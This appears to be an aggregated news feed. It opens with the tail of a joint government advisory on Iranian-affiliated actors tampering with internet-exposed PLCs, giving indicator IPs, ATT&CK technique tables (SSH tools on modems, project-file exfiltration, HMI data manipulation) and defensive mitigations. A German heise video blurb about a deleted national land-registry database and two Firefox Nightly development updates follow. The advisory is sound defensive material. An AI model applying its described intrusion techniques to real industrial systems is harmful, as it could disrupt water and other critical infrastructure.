
88.80.150[.]200
July 2026
July 2026


88.80.150[.]202
July 2026
July 2026




Table 2. Indicators of Compromise 


Indicator
Beginning of Actor Association
End of Actor Association




185.82.73[.]162
January 2025
March 2026


185.82.73[.]164
January 2025
March 2026


185.82.73[.]165
January 2025
March 2026


185.82.73[.]167
January 2025
March 2026


185.82.73[.]168
January 2025
March 2026


185.82.73[.]170
January 2025
March 2026


185.82.73[.]171
January 2025
March 2026


135.136.1[.]133
March 2026
March 2026



MITRE ATT&CK Tactics and Techniques
See Table 3 to Table 6 for all referenced threat actor tactics and techniques in this advisory. The authoring agencies recommend organizations review historical TTPs for similar Iranian-affiliated cyber actor activity in IRGC-Affiliated Cyber Actors Exploit PLCs in Multiple Sectors, Including US Water and Wastewater Systems Facilities. For assistance with mapping malicious cyber activity to the MITRE ATT&CK framework, see CISA and MITRE ATT&CK’s Best Practices for MITRE ATT&CK Mapping and CISA’s Decider Tool.

Table 3. Initial Access


Technique Title
ID
Use




Internet Accessible Device
T0883
The actors accessed and interacted with publicly exposed, internet-accessible PLCs that lacked sufficient network and/or hardening security controls.



 

Table 4. Command and Control


Technique Title
ID
Use




Commonly Used Port
T0885
The actors leveraged commonly used OT ports to communicate with PLCs.


Remote Access Tools 
T1219
The actors deployed Dropbear SSH software on victim modems to enable them to gain remote access through port 22.




Table 5. Exfiltration (New, July 22, 2026)


Technique Title
ID
Use




Exfiltration Over C2 Channel
T1041
The actors used remote, third-party hosted infrastructure as a C2 channel to transfer device project files out of victim environments.




Table 6. Impact


Technique Title
ID
Use




Data Manipulation
T1565
The actors maliciously interacted with project files, including modifying and deleting project file logic, and altered data displayed on HMI and SCADA displays.



Mitigations
The authoring agencies recommend organizations implement the mitigations below to improve your organization’s cybersecurity posture on the basis of the threat actors’ activity. These mitigations align with the Cross-Sector Cybersecurity Performance Goals (CPGs) developed by CISA and the National Institute of Standards and Technology (NIST). The CPGs provide a minimum set of practices and protections that CISA and NIST recommend all organizations implement. CISA and NIST based the CPGs on existing cybersecurity frameworks and guidance to protect against the most common and impactful threats and TTPs. Visit CISA’s CPGs webpage for more information on the CPGs, including additional recommended baseline protections.
Network Defenders
The cyber threat actors accessed PLCs manufactured by Rockwell Automation/Allen-Bradley, Schneider Electric, Siemens, and potentially other branded/manufactured PLCs to cause disruptions to victim systems. To safeguard against this threat and threats to other types of PLCs, the authoring agencies urge organizations to consider the following mitigations.
(Updated, July 22, 2026) In addition to contacting the authoring agencies, organizations and integrators operating PLCs from the manufacturers mentioned in this advisory should review the previously issued guidance to strengthen the security of their OT deployments:

Rockwell Automation: Contact the Rockwell Automation Product Security Incident Response Team (PSIRT) at PSIRT@rockwellautomation.com for questions regarding this guidance, or to report cyber incidents related to Rockwell Automation products.


Refer to Rockwell Automation Security Advisory SD1771 for recommended PLC hardening measures and configuration guidance.


Schneider Electric: Contact the Schneider Electric Corporate Product Cyber Emergency Response Team (CPCERT) at cpcert@se.com for questions regarding this guidance, or to report cyber incidents related to Schneider Electric products.


Refer to Schneider Electric’s Recommended Cybersecurity Best Practices and Cybersecurity User Guide for Modicon Controller Platform for guidance on securing and configuring PLCs.


Siemens: Contact Siemens ProductCERT at productcert@siemens.com for questions regarding this guidance, or to report cyber incidents and vulnerabilities related to Siemens products.


Refer to Siemens Security Bulletin 104599 for a list of security measures to harden PLCs and in-depth configuration guides.
Siemens users should review the Cybersecurity for Industry Operational Guidelines and implement defense-in-depth controls within their automation systems.



Immediate steps to prevent the attack:

Disconnect the PLC from the public-facing internet [CPG 3.S]. Follow the joint guidance Secure connectivity principles for OT to safely allow remote access. Specifically, “remove inbound port exposure,” so the OT system is never directly exposed to the internet or external networks, and to ensure all access is mediated, monitored, and controlled. Do this through a secure gateway (jump host) that brokers the connection.


Ensure cellular modems, used for remote field connectivity and access, are secured with strong authentication and updated.
Enable logs for connected modems and regularly review for suspicious activity to detect intrusions and improve incident response speed.
(New, July 22, 2026) To mitigate unauthorized access to OT via cellular modems, organizations should consider implementing isolated architectures, such as private Access Point Name (APN), 5G Public Network Integrated Non-Public Network (PNI-NPN), cellular Software-Defined Wide Area Network (SD-WAN), Zero Trust Network Access (ZTNA), or a site-to-site virtual private network (VPN).


(New, July 22, 2026) Strictly control network access to PLC devices.


Configure firewall rules or access control list (ACL) security features on PLCs or programmable controllers to allow only authorized communications between expected control system devices. Block access from unauthorized or threat actor-controlled IP addresses, such as those associated with hosting providers.


For controllers with a physical mode switch, place the physical mode switch into run position to prevent remote modification. Devices should only be in the program or remote position when updating or downloading software online and immediately switched back to the run position when complete. (See Rockwell Automation’s²System Security Design Guidelines for manufacturer’s instructions.)


(New, July 22, 2026) Prior to switching the device to run mode, review and validate project files, as changing modes will lock in the current project file downloaded to the device.


For devices that allow software key switching, enable programming protection in PLC configuration software (S7 TIA Portal) to limit who can modify PLCs remotely. (See Siemens’ Cybersecurity for Industry Operational Guidelines for the manufacturer’s instructions.)

Follow-up steps to strengthen security posture:

(New, July 22, 2026) Review project files running on PLCs for unauthorized changes. Use vendor-provided integrity checking tools and visually compare the running program to known good logic. Ensure reusable logic and input/output configurations are valid. For Rockwell Automation PLCs listed in the Customer Guidance to Disconnect Devices from the Internet, check the AOIs for any anomalous modifications.


If restoring from backups, verify the backup does not contain malicious logic before deployment.
Review logs and configurations on all connected devices, including modems, HMIs, and workstations, to assess potential lateral movement by threat actors. If it appears the actors connected to additional devices, reimage these devices to remove any potential malicious changes or access tools.


(New, July 22, 2026) Ensure device passwords are changed from their default and are configured to use complex, unique combinations of letters, numbers, and symbols that are not easily guessable. Implementing robust password practices remains a critical security measure that can help prevent unauthorized access and strengthen the overall security posture of OT devices.
(New, July 22, 2026) Take defensive measures to minimize the risk of exploitation. Conduct comprehensive impact analysis and risk assessments prior to deploying defensive measures.
Create and test strong backups of the logic and configurations of PLCs. Store backup files offline and secure the physical removal media to enable fast recovery.
Implement multifactor authentication (MFA) [CPG 3.F] for access to the OT network from an external network.
If remote access is required, implement a network proxy, gateway, firewall, and/or VPN in front of the PLC to control network access.


A VPN or gateway device can enable MFA for remote access even if the PLC does not support MFA. Implement security rules on these higher-level network security mechanisms to prevent the type of repeated and sustained login attempts seen during a brute force attack. When possible, implement a device control list for workstations sending messages or connecting to OT components.
Use the device control list to monitor for logon activity for unexpected or unusual access to devices from the internet.


Keep PLC devices updated with the latest software patches issued by the manufacturer. Use established downtime windows to install patches. Known Exploited Vulnerabilities may need to be prioritized outside a downtime window.
Configure external and internal firewalls to block traffic using common ports associated with network protocols that are unnecessary for the particular network segment.
Disable any unused authentication methods, logic, or features, such as default authentication keys and passwords, as well as unused or needed services such as Teletype Network (Telnet), File Transfer Protocol (FTP), Remote Desktop Protocol (RDP), Virtual Network Computing (VNC), and web services.
Monitor asset management systems for device configuration changes, which can be used to understand expected parameter settings.
Monitor the content of network traffic for the following:


Unusual logins to internet-connected devices or unexpected protocols to/from the internet. 
Functions of industrial control systems management protocols that change an asset’s operating mode or modify programs.


(New, July 22, 2026) Ensure service providers are informed of active threats targeting internet-connected PLC devices. Owners and operators should communicate directly with service providers to address risks, especially when remote monitoring or maintenance is involved. Some service providers may rely on internet connectivity essential to monitor and maintain OT/ICS operations but may not be fully aware of active threats.

In addition, the authoring agencies recommend network defenders apply the following mitigations to limit potential adversarial use of common system and network discovery techniques, as well as reduce the impact and risk of compromise by cyber threat actors:

Reduce risk exposure. CISA offers a range of services at no cost, including scanning and testing, to help organizations reduce exposure to threats via mitigating attack vectors. CISA’s Cyber Hygiene Services can help provide additional review of organizations’ internet-accessible assets. 

Device Manufacturers
Note: The following guidance is general in nature and not specific to any OT vendor. Some of the features, settings, and practices may already be offered by certain vendors. The inclusion of this guidance should not be interpreted as an assertion that vendors referenced do not offer such security features. Also, this advisory is not highlighting a new vulnerability in the identified products, but instead discusses opportunistic targeting. Device manufacturers can make opportunistic attacks more difficult at scale by encouraging more secure behavior by default and in operations, as discussed below. 
Although critical infrastructure organizations using PLC devices can take steps to mitigate the risks, it is ultimately the responsibility of the device manufacturer to build products secured by design and default. The authoring agencies urge device manufacturers to take ownership of their customers’ security outcomes by following the principles in the joint guide Secure by Demand: Priority Considerations for OT Owners and Operators when Selecting Digital Products, primarily:

Change the manufacturers’ default settings to prevent exposing administrative interfaces to the internet.
Do not charge additional fees for basic security features needed to operate the product securely.
Support MFA, including via phishing-resistant methods.

By using secure by design tactics, software manufacturers can make product lines secure “out of the box” without requiring customers to spend additional resources making configuration changes, purchasing tiered security software and logs, monitoring, and making routine updates.
For more information on common misconfigurations and guidance on reducing their prevalence, see joint advisory NSA and CISA Red and Blue Teams Share Top Ten Cybersecurity Misconfigurations. For more information on secure by design, see CISA’s Secure by Design webpage and joint guide.
Validate Security Controls
In addition to applying mitigations, the authoring agencies recommend exercising, testing, and validating your organization's security program against the threat behaviors mapped to the MITRE ATT&CK for Enterprise framework in this advisory. The authoring agencies recommend testing your existing security controls inventory to assess how they perform against the ATT&CK techniques described in this advisory.
To get started:

Select an ATT&CK technique described in this advisory (see Table 3 to Table 6).
Align your security technologies against the technique.
Test your technologies against the technique.
Analyze your detection and prevention technologies’ performance.
Repeat the process for all security technologies to obtain a set of comprehensive performance data.
Tune your security program, including people, processes, and technologies, based on the data generated by this process.

The authoring agencies recommend continually testing your security program, at scale, in a production environment to ensure optimal performance against the ATT&CK techniques identified in this advisory.
Resources

Authoring Agencies: IRGC-Affiliated Cyber Actors Exploit PLCs in Multiple Sectors, Including US Water and Wastewater Systems Facilities
CISA: Bulletproof Defense: Mitigating Risks From Bulletproof Hosting Providers
EPA: Cybersecurity for the Water Sector
CISA: Water and Wastewater Cybersecurity
CISA: Exploitation of Unitronics PLCs used in Water and Wastewater Systems
CISA: Iran Threat Overview and Advisories
FBI: The Iran Threat and Cyber Threat Overview: Iran
CISA, MITRE: Best Practices for MITRE ATT&CK Mapping
CISA: Decider Tool
CISA: Cross-Sector Cybersecurity Performance Goals 2.0
CISA: No-Cost Cybersecurity Services and Tools
CISA: Secure by Demand: Priority Considerations for OT Owners and Operators when Selecting Digital Products
NSA, CISA: NSA and CISA Red and Blue Teams Share Top Ten Cybersecurity Misconfigurations
CISA: Secure by Design
FBI, CISA: Primary Mitigations to Reduce Cyber Threats to Operational Technology
United Kingdom National Cyber Security Centre: Secure connectivity principles for operational technology

Contact Information
U.S. organizations are encouraged to report suspicious or criminal activity related to information in this advisory to CISA, the FBI, and/or NSA:

Contact CISA via CISA’s 24/7 Operations Center at contact@cisa.dhs.gov or 1-844-Say-CISA (1-844-729-2472). File a claim with FBI’s Internet Crime Complaint Center (IC3) or contact your local FBI field office. When available, please include the following information regarding the incident: 

Date, time, and location of the incident;
Type of activity;
Number of people affected;
Type of equipment used for the activity; and
Name of the submitting company or organization, and a designated point of contact.


For NSA cybersecurity guidance inquiries, contact CybersecurityReports@nsa.gov.
Entities required to report incidents to DOE should follow established reporting requirements, as appropriate. For other energy sector inquiries, contact EnergySRMA@hq.doe.gov.
Contact the Rockwell Automation PSIRT for questions regarding their guidance or for reporting cyber incidents related to Rockwell Automation products at PSIRT@rockwellautomation.com.
Contact the Schneider Electric CPCERT at cpcert@se.com for questions regarding this guidance, or to report cyber incidents related to Schneider Electric products.
Contact Siemens ProductCERT for up-to-date information about the security of Siemens products or to report cybersecurity vulnerabilities at productcert@siemens.com. For support with increasing the security of installed Siemens PLCs, contact Siemens Industrial Cybersecurity Services at services.automation@siemens.com. See Siemens ProductCERT and Siemens CERT for more information.

Disclaimer
The information in this report is being provided “as is” for informational purposes only. CISA and the authoring agencies do not endorse any commercial entity, product, company, or service, including any entities, products, or services linked within this document. Any reference to specific commercial entities, products, processes, or services by service mark, trademark, manufacturer, or otherwise, does not constitute or imply endorsement, recommendation, or favoring by CISA and the authoring agencies.
Version History
April 7, 2026: Initial version.
July 22, 2026: Update includes new guidance on detecting malicious activity, expanded scope of observed targeting, and best practices for secure PLCs deployment.
Notes
¹Project file refers to the software file that contains ladder logic and configuration settings. On Rockwell Automation devices, it is referred to as an .ACD file.
²See CompactLogix 5370 Controllers (Chapter 5: “Select the Operating Mode of the Controller”) for more information on functions available for the switch.


Cyberkrimineller löscht die gesamte Grundbuchdatenbank eines Landes
Sat, 25 Jul 2026 09:05:08 +0200
Author: heise & c't - Bewertung: 7x - Views:50 
Ein einziger Krimineller hat die komplette Grundbuchdatenbank Rumäniens gelöscht. Der Fall wirft eine unbequeme Frage auf: Sind die Sicherheitskonzepte von Behörden wirklich sicher? In diesem Video erfahrt ihr wie es zu diesem Angriff kommen konnte, und warum dieser Fall eine kaputte Backup-Strategie infrage stellt.



► Sponsorenhinweis

Infomaniak ist ein unabhängiger europäischer Cloud-Anbieter mit Sitz in der Schweiz, der eigene Rechenzentren betreibt und seine Software selbst entwickelt.

my kSuite Link: https://www.infomaniak.com/de/ksuite/myksuite?utm_source=youtube&utm_medium=social&utm_campaign=heise-online&utm_content=my-ksuite&utm_term=683436c0eee2d



► Zum Artikel: https://heise.de/s/2Aljj

_____



► c’t: https://www.ct.de

► heise online: https://www.heise.de

► heise online auf Instagram: https://www.instagram.com/heiseonline/

► c't auf Instagram: https://www.instagram.com/ct_magazin/

_____

Redaktion: Gordon Hof

Video: Gordon Hof, Carine Kinarian



0:00 Einleitung

0:26 Werbung

1:35 Der Angriff

2:35 Die Folgen

3:14 die Backup-Frage

4:06 Der Täter

4:40 Unsere Einordnung

5:59 Abschluss



Firefox Nightly: Backup for a Rainy Day – These Weeks in Firefox: Issue 202
Sat, 25 Jul 2026 08:37:35 +0200
Highlights

The profile backup mechanism has been enabled by default for all desktop platforms in Nightly, as well as Beta! The current plan is to have this ride out to Firefox 151 for Windows, macOS and Linux on May 18th!

This feature, when enabled, will create a copy of your profile data in the background and store it in a single file on your file system that you can restore from.
You will be able to manage this feature in Settings under Sync (for now)




You can read more about the feature here


As followups to the recent addition to the WebExtension tabs API to support the new SplitView tabs feature, tabs.group() and tabs.ungroup() have been fixed to work correctly with split view tabs, and fixed split views being prepended instead of appended to tab groups when adopted into a new window – Bug 2029099 / Bug 2029534
Adaptive autofill has been enabled on Nightly.

Previously, autofill only completed domains (e.g. typing red autofilled reddit.com). Now it can also complete full URLs for pages you visit often (e.g. red → reddit.com/r/firefox), learning from what you actually click in the address bar. If a suggestion isn’t helpful, you can now dismiss it so autofill learns what not to show you too.

If you run into issues or have feedback, you can file a bug here!




Markus Stange [:mstange] implemented dynamic toolbar on top in RDM (#1978145), but also implemented some static skeleton UI so it’s closer to what we actually have in Firefox for Android

dynamic toolbar is behind a pref: devtools.responsive.dynamicToolbar.enabled
it can be put on top by setting devtools.responsive.dynamicToolbar.onTop, otherwise it’s at the bottom




Friends of the Firefox team
Resolved bugs (excluding employees)
Script to find new contributors from bug list
Volunteers that fixed more than one bug

Amin Amir
aoia7rz7l
Chukwuka Rosemary
DrSeed
Frédéric Wang Nélar
japandi
John Iweh
jonathancabera
Josh Aas
Keji Bakare
kofoworola shonuyi
konyhéa
liz
Mathew Hodson
Okhuomon Ajayi
Oluwatobi
ROSHAAN
Sam Johnson

New contributors (🌟 = first patch)

 Anthony Mclamb: Disable the legacy Edge migrator
 Amin Amir

🌟Fix browsingContext.sys.mjs to assign to #contextCreatedHandled instead of contextCreatedHandled
Fix missing WITHOUT ROWID SQLite performance optimization in SERPCategorization.sys.mjs
🌟 Amine Zroual: Omitted maxResults property not handled correctly in getRecentlyClosed


any1here: install_sig_alt_stack incorrectly checks mmap’s return value
🌟 Armin Ulrich: Fix MessageHandlerRegistry.sys.mjs calling getExistingMessageHandler with an unused second argument
japandi

Cannot remove amazon.com from top sites list
The height of the pinned tabs area should be responsive to the number of pins
Use cenum for nsIHelperAppLauncherDialog reason constants to enable better typescript annotations


Nathan Johnson [:narjoDev]: Remove browser.display.use_system_colors pref
DrSeed

Firefox shows vertical tabs in new windows despite “Hide tabs and sidebar” setting
The “Expand sidebar on hover” option is not kept after the vertical tabs are disabled and enabled again


Keji Bakare:

Split view’s focus-outline is clipped on the right side of left tab
White space on the right side of left panel in split view


🌟 gotyaoi: Reload toolbar button is active on about:newtab
Itoro James: [A11y][Keyboard Navigation]Cancelling a note via Keyboard Navigation still saves it
John Iweh: The notification dot is not displayed if the tab is in a Split View
🌟 John Iweh: sidebar-shown attribute remains when sidebar.revamp is false
🌟 jonathancabera:

The Move tab to Split View option is also displayed for the tabs that are within the Split View
A Note with long text (1003 characters) is saved by pressing ENTER even if the “Save” button is disabled
Tab group guide line becomes disconnected under certain conditions related to split views in vertical tab mode


Aloys: Remove logic that forces distribution language packs to be reinstalled when upgrading from Firefoxes older than 67
liz:

Create test to ensure maxRenderCountEstimate is never being set to Infinity in virtual-list component in Fx View
Button accessible name does not convey its function: missing topic context (Settings dialog > Topics dialog > buttons Following/Unfollow/Blocked/Unblock)


Mary cathline: Tab Group Label does not respect touch density in vertical tab bar
🌟 Brandon Lucier: Popups opened with window.open give window type normal instead of popup
karan68: [dialog] New Shortcut dialog needs a label/accessible name
🌟 Vector: Button does not programmatically indicate that it opens a dialog (Recent activity section > story card > ••• disclosure > Delete from History button)
🌟 Osoble: Update font size and weight for synced tabs device name headers in Firefox View
konyhéa:

Add test for sync admin disabled to browser_syncedtabs_errors_firefoxview.js
Check all second paramaters for TestUtils.waitForCondition in Fx View test files
Recently Closed Tabs, Tabs from Other Devices, and History pages should have Cmd / Ctrl + Click on a link open the link in the new background tab.


Noble Chinonso: #shouldHandleEvent in SidebarTreeView.js compares event.keyCode to string values, causing Home/End keys to never be handled
Pranjali Srivastava: Add a test to verify that the space above tabs is consistent across PB, LWT and sizemode (where appropriate)
Okhuomon Ajayi:

More spacing is needed between the tab note icon and the close icon on the tab
The tabs in vertical mode collapsed state are positioned differently in Split View
Keep vertical split view tabs stacked vertically even when the sidebar is expanded when expand on hover is enabled
Vertical split view tabs can be too big or small when tabs are overflowing


🌟 Rishan: Fix duplicated arrow function in browser_history_sidebar.js
Chukwuka Rosemary:

“Forget About This Site” context menu option missing from Firefox View history
Long strings are not displayed properly on the about:opentabs page search filed
Add test for Forget This Site option in Fxview history context menu.


ROSHAAN:

🌟Tab note background colour is incorrect for default light theme
 [win/linux] The splitter between content areas does not match Figma spec
Fix typo in OpenInTabsUtils.confirmOpenInTabs()


Sameeksha: Disclosure button expanded/collapsed state not programmatically defined (Customize button)
kofoworola shonuyi:

🌟Actually hide or remove sidebar-shown attribute when in fullscreen.
Add a test for checking sidebar-shown attribute in fullscreen mode


🌟 Sayd Mateen: Page URL is displayed as tab name when page’s contains about:reader?
 


Oluwatobi:

Unable to delete selected history entries from sidebar
Incorrect Sidebar button state/tooltip hover text
The city name heading level doesn’t follow the correct heading level order


Nishchay [:nish]: Unable to add tabs to old closed tab groups (tabGroupState.splitViews is undefined)

 
Project Updates
Add-ons / Web Extensions
Addon Manager & about:addons

In preparation for the Project Nova restyling of the about:addons page, we have refactored about:addons into separate per-component ES modules, splitting the monolithic aboutaddons.js and aboutaddons.html into 16 dedicated component files under components/ (with no behavior or UI changes) – Bug 2032014

NOTE: if you have working on patches with changes to about:addons internals it is very likely you’ll need to rebase and solve merge conflicts hit on top of this refactoring, the internals are still largely the same as before but don’t hesitate to reach out to the Addons team if you have doubts / questions or need help to figure out how to adapt your patch of top of these changes



WebExtensions Framework

Fixed exportFunction to preserve the constructibility of the wrapped function instead of unconditionally making all exported functions implicitly as constructors – Bug 2033173

Thanks to Gregory Pappas for contributing this improvement to the Content Scripts’ Xray Wrappers helpers!


Fixed a Firefox 151 regression where extension content scripts accessing location.ancestorOrigins caused subsequent page script reads of the same property to fail with “Permission denied”, breaking sites like Gmail – Bug 2034329

Thanks to Simon Farre for promptly investigating and fixing this recent regression!



WebExtension APIs

Updated sessions.getRecentlyClosed() to remove the hardcoded cap when maxResults is omitted – Bug 1392125

Shoutout to Amine Zroual for contributing this enhancement to the sessions WebExtensions API!



DevTools

Artem Manushenkov fixed an issue where autosuggestion popup was removing overridden indicators from properties in the Inspector (#1983408)
Andrea Marchesini [:baku] fix DevTools cookie header serialization for long cookies, which could lead to cookies not being visible in Netmonitor (#2031299)
Julian Descottes [:jdescottes] fixed a toolbox crash that was happening we couldn’t find a localization file (e.g. when using a language pack on Nightly) (#2028930)
Nicolas Chevobbe [:nchevobbe] improved @container tooltip so it show the value of variables used in style()(#2030239), has enough contrast in dark mode (#2033782) and contains a link to select the container (#2031688)




Hubert Boma Manilla (:bomsy) is making good progress on migrating the Console to CodeMirror 6 (#2032758, #2026569)

Fluent

We’re now at over 72% of our strings being Fluent! Got a component still using .properties? Convert when you can!


Migration Improvements

Thanks to dao for fixing a recent alignment issue in the migration wizard dropdown
Thanks to volunteer contributor Anthony Mclamb for his patch that disables the legacy EdgeHTML Edge migrator! Once that finishes rolling out, presuming no surprises, we’ll go ahead and remove the migrator entirely.

New Tab Page

Nova for New Tab has ridden the trains to Beta! It will be enabled by default, globally, when Firefox 151 goes out to release on May 19th

It’s possible that we’ll do a train-hop coupled with an experiment to enable HNT Nova for a few clients a bit earlier.


Maxx Crawford enabled Nova designs for New Tab, rolling out the updated layout, widgets, and customization panel behind HNT Nova flags.
Maxx Crawford fixed the Nova content feed to render the intended four‑column layout by correcting CSS grid breakpoints.
Maxx Crawford resolved a first‑load failure in the Weather widget by fixing init order and fetch timing, eliminating the “Oops” error.
Maxx Crawford synchronized the Weather toggle between about:preferences#home and the panel via the shared showWeather pref to prevent desync.
Maxx Crawford updated Nova grid focus order to align tab flow with visual order for keyboard users.
Maxx Crawford fixed critical UI issues in Lists and Timer widgets covering overflow, controls, and layout stability.
Maxx Crawford guarded document.dir access in Nova render paths to avoid startup cache worker errors and improve startup stability.
Rolf added a new normalization method for the inferred interest vector to stabilize topic relevance across sessions.
Rolf prevented unnecessary content refreshes during Pocket New Tab experiments, reducing jank and bandwidth.
Sameeksha defined the Customize button’s expanded/collapsed state programmatically using aria-expanded for better a11y.
liz clarified follow/unfollow/blocked button names with topic context so screen readers announce clear actions.
Vector marked the Delete from History control as opening a dialog via aria-haspopup=dialog for assistive tech.
Scott Downe fixed a regression that flipped the Wallpapers pref off, restoring user selections.
Irene Ni corrected privacy link color and focus styles for contrast and keyboard visibility.
Reem Hamoui added a wallpaper toggle reset in the Nova customization panel so users can quickly restore default wallpapers without extra steps.
Reem Hamoui fixed the Customize pencil button to match the Nova spec, aligning placement and iconography for visual consistency.
Dre updated the ‘Fresh new’ wallpapers copy to a clearer, localized message for better comprehension.
Irene Ni fixed Nova privacy link color and focus styles to meet contrast and focus ring guidelines, improving accessibility on New Tab.
Irene Ni adjusted Sponsored tile character limits to prevent truncation/overflow, yielding cleaner titles across grid and wide tiles.
Scott Downe fixed a regression that flipped the Wallpapers user pref to false, restoring wallpapers for affected users and preventing unintended disablement.
Reem Hamoui hooked the wallpaper check into the new toggle logic so the Customization Panel accurately reflects wallpaper availability and state.
Irene Ni landed Nova UI updates for the Daily Briefing 3-pack card, improving spacing, type scale, and tap targets.
Reem Hamoui added a wallpaper toggle reset in the Nova customization panel so users can quickly restore default wallpapers without extra steps.
Reem Hamoui fixed the Customize pencil button to match the Nova spec, aligning placement and iconography for visual consistency.
Dre updated the ‘Fresh new’ wallpapers copy to a clearer, localized message for better comprehension.
Irene Ni fixed Nova privacy link color and focus styles to meet contrast and focus ring guidelines, improving accessibility on New Tab.
Irene Ni adjusted Sponsored tile character limits to prevent truncation/overflow, yielding cleaner titles across grid and wide tiles.
Scott Downe fixed a regression that flipped the Wallpapers user pref to false, restoring wallpapers for affected users and preventing unintended disablement.
Reem Hamoui hooked the wallpaper check into the new toggle logic so the Customization Panel accurately reflects wallpaper availability and state.
Irene Ni landed Nova UI updates for the Daily Briefing 3-pack card, improving spacing, type scale, and tap targets.

Search and Urlbar

Marco has fixed a couple of issues with the places databases to try and improve stability. This should help with avoiding users losing bookmarks or favicons.
Work continues on the new separate search bar to improve the functionality, e.g. allowing middle click to perform a search in a new tab, avoiding performing a search when adding a search engine.
Work also continues on the new Nova layouts.

Smart Window

uplifted 10 bugs to 150.0.1 dot release addressing initial user feedback from diary study and Connect

jump to bottom of conversation 2028692
stop streaming button 2029204
back/forward navigation from assistant 2029229
dark mode for various chips 2024499


search engine switching from smart bar 2021973
Nova styling within smart window 2026794

Storybook/Reusable Components/Acorn Design System

Dustin converted moz-breadcrumb-group variables into JSON design tokens Bug 2029181 – Convert moz-breadcrumb-group variables into JSON design tokens
Dustin converted moz-box-* variables into JSON design tokens Bug 2029180 – Convert moz-box-* variables into JSON design tokens
Dustin converted moz-promo variables to JSON design tokens Bug 2029190 – Convert moz-promo variables into JSON design tokens
Dustin converted moz-reorderable-list variables to JSON design tokens Bug 2029191 – Convert moz-reorderable-list variables into JSON design tokens
Dustin converted moz-visual-picker variables to JSON design tokens Bug 2029193 – Convert moz-visual-picker-item variables into JSON design tokens
Dustin updated browser-shared.css so it passes use-design-tokens Bug 2022985 – Update browser-shared.css so it passes use-design-tokens
Dustin updated popup.css so it passes use-design-tokens Bug 2022979 – Update popup.css so it passes use-design-tokens
Jon added opacity tokens and added opacity to use-design-tokens stylelint rule  Bug 1955325 – Create opacity tokens
Jon converted toolbar design tokens to JSON Bug 2017970 – Convert toolbar design tokens to json
Anna fixed moz-select with panel-list drop-down size inconsistency Bug 2032365 – Applications Action drop-down menus sometimes have a different size when opened
Anna fixed issue with the disabled state of moz-radio component Bug 2027123 – moz-radio disabled state cannot be changed while the moz-radio-group is disabled
Anna updated moz-button and moz-box-button components to prevent label corruption when accesskeys are present and the label changes.   Bug 2022326 – moz-button with accesskey label becomes corrupted when l10nId updates dynamically

UX Fundamentals

The error pages shown when a server sends back an invalid response header or an unsupported content encoding now display accurate, context-specific messages. The invalid response header page also gained a helpful list of next steps. – 2027209
In progress: The error page illustrations are being replaced with new artwork, and the system now supports per-illustration size configuration, giving each image the ability to define its own appropriate dimensions. – 2031837

Settings Redesign

Tim converted settings related to Accessibility page to config-based pane Bug 1968116 – Convert settings related to Accessibility page to config-based settings
Benjamin converted Privacy & Security page to the config-based pane Bug 1968112 – Convert settings related to Privacy & Security page to config-based settings
Finn integrated Firefox Labs page into setting-pane config Bug 2021047 – Integrate Firefox Labs page into setting-pane config
Anna converted Firefox Updates section to config-based prefs Bug 1990961 – Convert Firefox Updates section to config-based prefs
Mark Kennedy added moz-promo, that is welcoming users to the redesigned settings Bug 2015093 – Add a moz-promo to welcome users to the redesign




Anna added possibility to search for actions in the redesigned “Applications” section Bug 2020370 – It’s no longer possible to search for actions in the new “Applications” section
Anna fixed the Settings navbar layout breakage



Firefox Nightly: Giving You More Control – These Weeks in Firefox: Issue 204
Sat, 25 Jul 2026 08:37:31 +0200
Highlights

Maxx Crawford added a pref to hide the New Tab logo so users can opt out of branding without altering page layout or resorting to CSS overrides.
Harshit enabled video overlay detection in Nightly 153, allowing you to use the context menu to control videos on more pages! We plan on letting this ride out in Firefox 153.

You can try it out on this Instagram reel in Nightly





A note to WebExtension authors – as part of a planned deprecation announced last month, executeScript and insertCSS are now restricted from moz-extension pages starting in Firefox 152 – Bug 2015559
Nicolas Chevobbe [:nchevobbe] added support and debugging for modern attr()(which is enabled on Nightly) (#2014751)


Friends of the Firefox team
Resolved bugs (excluding employees)
Script to find new contributors from bug list
Volunteers that fixed more than one bug

Sam Johnson
Sebastian Zartner [:sebo]

New contributors (🌟 = first patch)

Immaculate Atim: Switch to using an array instead of an object string for browser.backup.enabled_on.profiles
liz: Screenshots overlay visible on both splitview browsers
🌟 Rahman Mahmutović [:r_m]: Can’t change content in box model in inspector for box-sizing:border-box elements
Takeru Mitsumori: Fix typo in ID name about-translations-swap-langauges-icon in about-translations.html
🌟 Freya Arbjerg [:freyacodes]: Blackboxed columns are ignored
 tom.passarelli: tab-preview-panel emits unpaired popupshown/popuphidden events, breaking sidebar autohide

Project Updates
Add-ons / Web Extensions
Addon Manager & about:addons

As part of the work for the Project Nova about:addons page restyling, the about:addons sidebar has been migrated to the moz-page-nav and moz-page-nav-button reusable components, improving accessibility and visual consistency with the Firefox Desktop about:settings page – Bug 1881767

WebExtensions Framework

Implemented WebExtensions negative permissions infrastructure, providing the foundations for enterprise policy “blocked host permissions” features – Bug 1745823
Restricted host permission changes for MV3 extensions force-installed via enterprise policy (matching similar behaviors provided by Chrome enterprise policy behaviors) – Bug 1904054

Thanks to Mike Kaply for the implementation of this enterprise policy enforcement feature.



WebExtension APIs

Fixed handling of  as an API permission in Manifest V3, ensuring the permission is correctly initialized on extension install – Bug 1758306

DevTools

Rahman Mahmutović [:r_m] made it possible to edit width/height in the box model section of the Layout panel (#1717176)
Sebastian Zartner [:sebo] improved toggling tools driving in-page highlighters (e.g. the Measuring) (#1262773)
Sebastian Zartner [:sebo] added a setting to control visibility of HTML comments in the markup view (#1455294)
Freya Arbjerg [:freyacodes] fixed an issue in script blackboxing (#2036767)
Alexandre Poirot [:ochameau] replaced custom preference to log RDP messages with MOZ_LOG (#1622857)
Alexandre Poirot [:ochameau] fixed retrieval of garbage collected script text content (#1758454)

WebDriver

Sameem updated the “Take Element Screenshot” command from WebDriver Classic to crop screenshots of elements which exceed the viewport. This aligns with the specification and avoids errors when attempting to capture huge elements.
Alexandra Borovova updated the events for new top-level browsing contexts: we will not send anymore “browsingContext.domContentLoaded” and “browsingContext.load” events for them, instead the “browsingContext.contextCreated” event will be sent when a tab is ready to be used. This is required to align with the expected per-spec behavior.
Henrik Skupin landed a patch allowing geckodriver to gracefully shut down Firefox when geckodriver itself is terminated.
Hiroyuki Ikezoe disabled Firefox’s “scroll axis lock” feature so WebDriver actions for wheel input devices can scroll in arbitrary directions when using pan gestures.

Lint, Docs and Workflow

Added a rule to prevent new uses of Preferences.sys.mjs.
